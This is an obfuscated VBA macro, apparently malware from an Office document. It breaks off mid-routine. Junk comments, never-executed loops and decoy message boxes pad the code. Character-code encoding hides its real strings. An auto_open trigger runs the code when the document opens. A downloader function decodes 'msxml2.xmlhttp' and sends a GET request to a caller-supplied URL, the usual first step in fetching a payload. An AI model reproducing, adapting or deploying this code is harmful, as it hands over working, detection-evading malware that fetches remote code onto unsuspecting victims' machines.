'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next ivozocwt 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq rlfsyyhu = 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While rlfsyyhu < 78 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ibyfkmyd As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For ibyfkmyd = 0 To 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next ibyfkmyd 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: rlfsyyhu = rlfsyyhu + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim djzefjwh As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For djzefjwh = 0 To 3 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next djzefjwh 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim xhyqeylk As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For xhyqeylk = 0 To 3 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next xhyqeylk 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim jbzuqkee As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim lhxzvkls As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For lhxzvkls = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next lhxzvkls 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq jbzuqkee = 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While jbzuqkee < 78 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim gponkmfb As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For gponkmfb = 0 To 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next gponkmfb 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: jbzuqkee = jbzuqkee + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim mzygfhez As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For mzygfhez = 0 To 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next mzygfhez 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim rcrltszh As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For rcrltszh = 0 To 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next rcrltszh 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq auto_open 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End Sub 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Function gigcposgjkk(ByVal dbdylzzldfq As String, ByVal ebwqwtjzaph As String) As Boolean 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim kderacuvhjh As Object, ushtvwqoohy As Long, qefgzsywkju As Long, wratuzwqhxh() As Byte 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 847911 = 847911 + 1 Then End 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 5238 < 55 Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim rjcetspi As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim qiupopzu As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For qiupopzu = 0 To 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next qiupopzu 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq rjcetspi = 6 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While rjcetspi < 93 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim lddikoyv As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For lddikoyv = 0 To 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next lddikoyv 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: rjcetspi = rjcetspi + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim xlxnsefx As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For xlxnsefx = 0 To 7 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next xlxnsefx 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim jcjkcufd As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For jcjkcufd = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next jcjkcufd 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(107) & ChrW(117) & ChrW(105) & ChrW(98) & ChrW(122) & ChrW(122) & ChrW(100) & ChrW(97) & ChrW(51) & ChrW(56)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If Len(ChrW(108) & ChrW(115) & ChrW(117) & ChrW(103) & ChrW(120) & ChrW(97) & ChrW(99) & ChrW(110) & ChrW(56) & ChrW(52) & ChrW(57) & ChrW(50)) = Len(ChrW(100) & ChrW(121) & ChrW(116) & ChrW(109) & ChrW(106) & ChrW(117) & ChrW(113) & ChrW(102)) Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim uywopofw As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim vaxvlyon As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For vaxvlyon = 0 To 6 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next vaxvlyon 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq uywopofw = 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While uywopofw < 88 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim mykhtpoh As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For mykhtpoh = 0 To 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next mykhtpoh 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: uywopofw = uywopofw + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim piiehzuw As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For piiehzuw = 0 To 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next piiehzuw 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim yubdhahz As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For yubdhahz = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next yubdhahz 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim kwkcixym As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim meexccgp As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For meexccgp = 0 To 7 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next meexccgp 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq kwkcixym = 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While kwkcixym < 16 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ajlisfyi As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For ajlisfyi = 0 To 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next ajlisfyi 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: kwkcixym = kwkcixym + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim rlvjnpnd As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For rlvjnpnd = 0 To 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next rlvjnpnd 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim zyfzsrrx As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For zyfzsrrx = 0 To 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next zyfzsrrx 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Set kderacuvhjh = CreateObject(ChrW(109) & ChrW(115) & ChrW(120) & ChrW(109) & ChrW(108) & ChrW(50) & ChrW(46) & ChrW(120) & ChrW(109) & ChrW(108) & ChrW(104) & ChrW(116) & ChrW(116) & ChrW(112)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq kderacuvhjh.Open ChrW(71) & ChrW(69) & ChrW(84), dbdylzzldfq, False 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 175195 = 175195 + 1 Then End 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 4441 < 19 Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim txxglubg As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim adovpixc As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For adovpixc = 0 To 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next adovpixc 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq txxglubg = 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While txxglubg < 53 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim uzvfsoyj As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For uzvfsoyj = 0 To 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next uzvfsoyj 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: txxglubg = txxglubg + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim okfncyll As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For okfncyll = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next okfncyll 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim fhfzjswv As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For fhfzjswv = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next fhfzjswv 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(119) & ChrW(102) & ChrW(103) & ChrW(109) & ChrW(103) & ChrW(98) & ChrW(108) & ChrW(113) & ChrW(50) & ChrW(52)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If Len(ChrW(115) & ChrW(98) & ChrW(106) & ChrW(122) & ChrW(104) & ChrW(111) & ChrW(111) & ChrW(108) & ChrW(55) & ChrW(55) & ChrW(49) & ChrW(52)) = Len(ChrW(102) & ChrW(122) & ChrW(109) & ChrW(103) & ChrW(98) & ChrW(117) & ChrW(111) & ChrW(110)) Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim twefhtor As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim rlvdlbhw As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For rlvdlbhw = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next rlvdlbhw 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq twefhtor = 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While twefhtor < 81 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ojcknjpw As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For ojcknjpw = 0 To 7 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next ojcknjpw 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: twefhtor = twefhtor + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim vzxwhnwo As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For vzxwhnwo = 0 To 6 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next vzxwhnwo 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim grdytmnz As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For grdytmnz = 0 To 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next grdytmnz 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim hpbedlne As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim dmksinup As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For dmksinup = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next dmksinup 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq hpbedlne = 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While hpbedlne < 18 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim jkhjgkeq As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For jkhjgkeq = 0 To 3 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next jkhjgkeq 